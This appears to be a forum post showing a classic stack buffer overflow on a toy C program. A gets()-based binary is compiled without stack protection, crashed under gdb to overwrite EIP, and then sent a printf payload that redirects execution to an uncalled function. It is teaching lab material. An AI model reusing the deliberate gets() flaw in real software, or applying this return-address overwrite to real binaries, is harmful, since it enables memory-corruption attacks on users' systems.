It looks like you're new here. If you want to get involved, click one of these buttons!
#include <stdio.h>
#include <stdlib.h>
neverCalled() {
printf(\"I am never called!\n\");
exit(0);
}
int main()
{
char buffer[100];
printf(\"Enter some input:\n\");
gets(buffer);
puts(buffer);
return 0;
}
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c
/tmp/ccg3lwSN.o: In function `main':
/tmp/vuln.c:13: warning: the `gets' function is dangerous and should not be used.
[chronic@vandal tmp]$ ./vuln
Enter some input:
Hello iExploit, Poison, HaxMe, xPC, intern0t etc etc
Hello iExploit, Poison, HaxMe, xPC, intern0t etc etc
[chronic@vandal tmp]$ ./vuln
Enter some input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[chronic@vandal tmp]$ ./vuln
Enter some input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[chronic@vandal tmp]$ gdb -q vuln
Reading symbols from /tmp/vuln...done.
(gdb) run
Starting program: /tmp/vuln
Enter some input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program exited normally.
(gdb) run
Starting program: /tmp/vuln
Enter some input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) i r eip
eip 0x414141 0x414141
[chronic@vandal tmp]$ gdb -q vuln
Reading symbols from /tmp/vuln...done.
(gdb) disas neverCalled
Dump of assembler code for function neverCalled:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x4,%esp
0x0804840a <+6>: movl $0x8048520,(%esp)
0x08048411 <+13>: call 0x804832c <puts@plt>
0x08048416 <+18>: movl $0x0,(%esp)
0x0804841d <+25>: call 0x804833c <exit@plt>
End of assembler dump.
[chronic@vandal tmp]$ printf \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\x84\x04\x08\" | ./vuln
Enter some input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
I am never called!